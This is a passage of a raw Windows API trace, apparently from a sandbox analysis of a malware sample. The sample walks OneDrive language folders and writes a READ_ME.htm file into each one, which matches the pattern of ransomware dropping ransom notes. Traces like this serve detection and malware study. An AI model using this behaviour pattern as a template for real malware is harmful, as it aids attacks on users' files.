ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.395] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.396] SetErrorMode (uMode=0x0) returned 0x1 [0145.396] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.396] SetErrorMode (uMode=0x1) returned 0x0 [0145.396] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\da\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.397] SetErrorMode (uMode=0x0) returned 0x1 [0145.397] GetFileType (hFile=0x1d0) returned 0x1 [0145.397] WriteFile (in: hFile=0x1d0, lpBuffer=0x283b8c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x283b8c0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.398] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de", lpFilePart=0x0) returned 0x45 [0145.398] SetErrorMode (uMode=0x1) returned 0x0 [0145.399] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\de\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.400] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.400] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.400] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.400] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.400] SetErrorMode (uMode=0x0) returned 0x1 [0145.401] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de", lpFilePart=0x0) returned 0x45 [0145.401] SetErrorMode (uMode=0x1) returned 0x0 [0145.401] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\de\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.401] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.401] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.401] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.401] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.401] SetErrorMode (uMode=0x0) returned 0x1 [0145.402] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.402] SetErrorMode (uMode=0x1) returned 0x0 [0145.402] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\de\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\de\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.403] SetErrorMode (uMode=0x0) returned 0x1 [0145.403] GetFileType (hFile=0x1d0) returned 0x1 [0145.403] WriteFile (in: hFile=0x1d0, lpBuffer=0x2841ea8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2841ea8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.405] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el", lpFilePart=0x0) returned 0x45 [0145.405] SetErrorMode (uMode=0x1) returned 0x0 [0145.405] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\el\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.406] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.406] SetErrorMode (uMode=0x0) returned 0x1 [0145.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el", lpFilePart=0x0) returned 0x45 [0145.407] SetErrorMode (uMode=0x1) returned 0x0 [0145.407] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\el\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.407] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.408] SetErrorMode (uMode=0x0) returned 0x1 [0145.408] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.408] SetErrorMode (uMode=0x1) returned 0x0 [0145.408] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\el\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\el\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.408] SetErrorMode (uMode=0x0) returned 0x1 [0145.409] GetFileType (hFile=0x1d0) returned 0x1 [0145.409] WriteFile (in: hFile=0x1d0, lpBuffer=0x2848490*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2848490*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.410] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en", lpFilePart=0x0) returned 0x45 [0145.410] SetErrorMode (uMode=0x1) returned 0x0 [0145.410] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\en\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.412] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.412] SetErrorMode (uMode=0x0) returned 0x1 [0145.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en", lpFilePart=0x0) returned 0x45 [0145.412] SetErrorMode (uMode=0x1) returned 0x0 [0145.413] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\en\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.413] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.413] SetErrorMode (uMode=0x0) returned 0x1 [0145.414] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.414] SetErrorMode (uMode=0x1) returned 0x0 [0145.414] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\en\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.414] SetErrorMode (uMode=0x0) returned 0x1 [0145.414] GetFileType (hFile=0x1d0) returned 0x1 [0145.415] WriteFile (in: hFile=0x1d0, lpBuffer=0x284ea78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x284ea78*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb", lpFilePart=0x0) returned 0x48 [0145.416] SetErrorMode (uMode=0x1) returned 0x0 [0145.416] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\en-gb\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.418] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.418] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.418] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.418] SetErrorMode (uMode=0x0) returned 0x1 [0145.418] GetFullPathNameW 